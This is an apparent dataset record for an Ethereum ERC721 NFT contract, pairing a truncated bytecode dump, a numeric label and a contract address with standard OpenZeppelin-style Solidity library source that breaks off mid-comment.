03821633141561092a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610416565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6109a03383610afc565b6109bc5760405162461bcd60e51b815260040161041690611c15565b6109c884848484610f82565b50505050565b606061031682610fb5565b60006109e482610a71565b610a305760405162461bcd60e51b815260206004820152601b60248201527f717565727920666f72206e6f6e6578697374656e7420746f6b656e00000000006044820152606401610416565b506000908152600c60205260409020546001600160a01b031690565b60006001600160e01b0319821663780e9d6360e01b1480610316575061031682611133565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610ac38261071e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000610b0782610a71565b610b685760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610416565b6000610b738361071e565b9050806001600160a01b0316846001600160a01b03161480610bae5750836001600160a01b0316610ba3846103ae565b6001600160a01b0316145b80610bde57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610bf98261071e565b6001600160a01b031614610c615760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610416565b6001600160a01b038216610cc35760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610416565b610cce838383611183565b610cd9600082610a8e565b6001600160a01b0383166000908152600360205260408120805460019290610d02908490611c92565b90915550506001600160a01b0382166000908152600360205260408120805460019290610d30908490611c66565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610d9a8161118e565b6000908152600c6020526040902080546001600160a01b0319169055565b6001600160a01b038216610e0e5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610416565b610e1781610a71565b15610e645760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610416565b610e7060008383611183565b6001600160a01b0382166000908152600360205260408120805460019290610e99908490611c66565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b610f0082610a71565b610f635760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b6064820152608401610416565b6000828152600a60209081526040909120825161054c928401906117af565b610f8d848484610be6565b610f99848484846111ce565b6109c85760405162461bcd60e51b815260040161041690611bc3565b6060610fc082610a71565b6110265760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f72206044820152703737b732bc34b9ba32b73a103a37b5b2b760791b6064820152608401610416565b6000828152600a60205260408120805461103f90611cd5565b80601f016020809104026020016040519081016040528092919081815260200182805461106b90611cd5565b80156110b85780601f1061108d576101008083540402835291602001916110b8565b820191906000526020600020905b81548152906001019060200180831161109b57829003601f168201915b5050505050905060006110e5604080518082019091526007815266697066733a2f2f60c81b602082015290565b90508051600014156110f8575092915050565b81511561112a578082604051602001611112929190611b44565b60405160208183030381529060405292505050919050565b610bde846112db565b60006001600160e01b031982166380ac58cd60e01b148061116457506001600160e01b03198216635b5e139f60e01b145b8061031657506301ffc9a760e01b6001600160e01b0319831614610316565b61054c8383836113c2565b6111978161147a565b6000818152600a6020526040902080546111b090611cd5565b159050610688576000818152600a6020526040812061068891611833565b60006001600160a01b0384163b156112d057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611212903390899088908890600401611b73565b602060405180830381600087803b15801561122c57600080fd5b505af192505050801561125c575060408051601f3d908101601f1916820190925261125991810190611a99565b60015b6112b6573d80801561128a576040519150601f19603f3d011682016040523d82523d6000602084013e61128f565b606091505b5080516112ae5760405162461bcd60e51b815260040161041690611bc3565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610bde565b506001949350505050565b60606112e682610a71565b61134a5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610416565b6000611370604080518082019091526007815266697066733a2f2f60c81b602082015290565b9050600081511161139057604051806020016040528060008152506113bb565b8061139a84611521565b6040516020016113ab929190611b44565b6040516020818303038152906040525b9392505050565b6001600160a01b03831661141d5761141881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611440565b816001600160a01b0316836001600160a01b03161461144057611440838261161f565b6001600160a01b0382166114575761054c816116bc565b826001600160a01b0316826001600160a01b03161461054c5761054c828261176b565b60006114858261071e565b905061149381600084611183565b61149e600083610a8e565b6001600160a01b03811660009081526003602052604081208054600192906114c7908490611c92565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6060816115455750506040805180820190915260018152600360fc1b602082015290565b8160005b811561156f578061155981611d10565b91506115689050600a83611c7e565b9150611549565b60008167ffffffffffffffff81111561158a5761158a611d97565b6040519080825280601f01601f1916602001820160405280156115b4576020820181803683370190505b5090505b8415610bde576115c9600183611c92565b91506115d6600a86611d2b565b6115e1906030611c66565b60f81b8183815181106115f6576115f6611d81565b60200101906001600160f81b031916908160001a905350611618600a86611c7e565b94506115b8565b6000600161162c84610795565b6116369190611c92565b600083815260076020526040902054909150808214611689576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906116ce90600190611c92565b600083815260096020526040812054600880549394509092849081106116f6576116f6611d81565b90600052602060002001549050806008838154811061171757611717611d81565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061174f5761174f611d6b565b6001900381819060005260206000200160009055905550505050565b600061177683610795565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b8280546117bb90611cd5565b90600052602060002090601f0160209004810192826117dd5760008555611823565b82601f106117f657805160ff1916838001178555611823565b82800160010185558215611823579182015b82811115611823578251825591602001919060010190611808565b5061182f929150611869565b5090565b50805461183f90611cd5565b6000825580601f1061184f575050565b601f01602090049060005260206000209081019061068891905b5b8082111561182f576000815560010161186a565b600067ffffffffffffffff8084111561189957611899611d97565b604051601f8501601f19908116603f011681019082821181831017156118c1576118c1611d97565b816040528093508581528686860111156118da57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461190b57600080fd5b919050565b60006020828403121561192257600080fd5b6113bb826118f4565b6000806040838503121561193e57600080fd5b611947836118f4565b9150611955602084016118f4565b90509250929050565b60008060006060848603121561197357600080fd5b61197c846118f4565b925061198a602085016118f4565b9150604084013590509250925092565b600080600080608085870312156119b057600080fd5b6119b9856118f4565b93506119c7602086016118f4565b925060408501359150606085013567ffffffffffffffff8111156119ea57600080fd5b8501601f810187136119fb57600080fd5b611a0a8782356020840161187e565b91505092959194509250565b60008060408385031215611a2957600080fd5b611a32836118f4565b915060208301358015158114611a4757600080fd5b809150509250929050565b60008060408385031215611a6557600080fd5b611a6e836118f4565b946020939093013593505050565b600060208284031215611a8e57600080fd5b81356113bb81611dad565b600060208284031215611aab57600080fd5b81516113bb81611dad565b600060208284031215611ac857600080fd5b813567ffffffffffffffff811115611adf57600080fd5b8201601f81018413611af057600080fd5b610bde8482356020840161187e565b600060208284031215611b1157600080fd5b5035919050565b60008151808452611b30816020860160208601611ca9565b601f01601f19169290920160200192915050565b60008351611b56818460208801611ca9565b835190830190611b6a818360208801611ca9565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ba690830184611b18565b9695505050505050565b6020815260006113bb6020830184611b18565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115611c7957611c79611d3f565b500190565b600082611c8d57611c8d611d55565b500490565b600082821015611ca457611ca4611d3f565b500390565b60005b83811015611cc4578181015183820152602001611cac565b838111156109c85750506000910152565b600181811c90821680611ce957607f821691505b60208210811415611d0a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611d2457611d24611d3f565b5060010190565b600082611d3a57611d3a611d55565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461068857600080fdfea264697066735822122070d1256d2c5950b3f4dd4793395d9b27fbb954a22b3dcae683e6d84b3624be7264736f6c63430008060033 | [
5
] |
0xf34433b0c54988ec658a1ab49f8e70ed86408560 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* Available since v3.1.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* Available since v3.3.
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* Available since v3.3.
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* Available since v3.4.
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* Available since v3.4.
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
*
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
